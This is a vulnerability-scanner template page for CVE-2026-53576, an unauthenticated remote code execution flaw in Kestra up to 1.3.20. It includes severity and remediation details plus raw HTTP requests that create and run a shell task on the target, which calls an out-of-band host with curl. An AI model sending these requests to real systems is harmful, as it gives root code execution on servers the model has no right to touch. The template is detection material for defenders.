Kestra <= 1.3.20 - Remote Code Execution
CVE-2026-53576
Early Release
Description
Kestra <= 1.3.20 contains an authentication bypass caused by misclassification of /configs endpoint in REST API filter, letting unauthenticated attackers create and execute root-level tasks, exploit requires unauthenticated access to /configs endpoint.
Severity
Critical
CVSS Score
9.8
Exploit Probability
2%
Affected Product
kestra
Published Date
August 6, 2026
Template Author
0x_akoko, pdteam, aryu-ru
CVE-2026-53576.yaml
id: CVE-2026-53576
info:
name: Kestra <= 1.3.20 - Remote Code Execution
author: 0x_Akoko,pdteam,aryu-ru
severity: critical
description: |
Kestra <= 1.3.20 contains an authentication bypass caused by misclassification of /configs endpoint in REST API filter, letting unauthenticated attackers create and execute root-level tasks, exploit requires unauthenticated access to /configs endpoint.
impact: |
Unauthenticated attackers can execute arbitrary code as root inside the container, potentially compromising the host via Docker socket access.
remediation: |
Update to versions 1.0.45 or 1.3.21 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-53576
- https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-53576
epss-score: 0.02186
epss-percentile: 0.80723
cwe-id: CWE-306
metadata:
verified: true
max-request: 2
vendor: kestra
product: kestra
shodan-query: title:"Kestra"
fofa-query: title="Kestra"
tags: cve,cve2026,kestra,rce,oast,intrusive,vkev
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(body, "KESTRA", "<title>Kestra")'
condition: and
internal: true
- raw:
- |
POST /api/v1/main/flows/configs HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-yaml
id: configs
namespace: configs
tasks:
- id: pwn
type: io.kestra.plugin.scripts.shell.Commands
taskRunner:
type: io.kestra.plugin.core.runner.Process
commands:
- curl -m 5 -s http://{{interactsh-url}}/rce
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 409'
- 'contains(body, "configs")'
condition: and
internal: true
- raw:
- |
POST /api/v1/main/executions/configs/configs HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----KestraBoundary
------KestraBoundary--
matchers:
- type: dsl
dsl:
- 'contains_any(interactsh_protocol, "http", "dns")'
- 'status_code == 200 || status_code == 409'
condition: and
# digest: 4a0a00473045022100d782d05b292d777d0cef1972904b955078feb4e49261093a1610ba86e4b6ecf302202df5252e86a5c7f3775b391727aecd4ea4cfeca0b115daf38c76a03a835aec47:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-53576
CWE ID:
cwe-306
Remediation Steps
Update to versions 1.0.45 or 1.3.21 or later.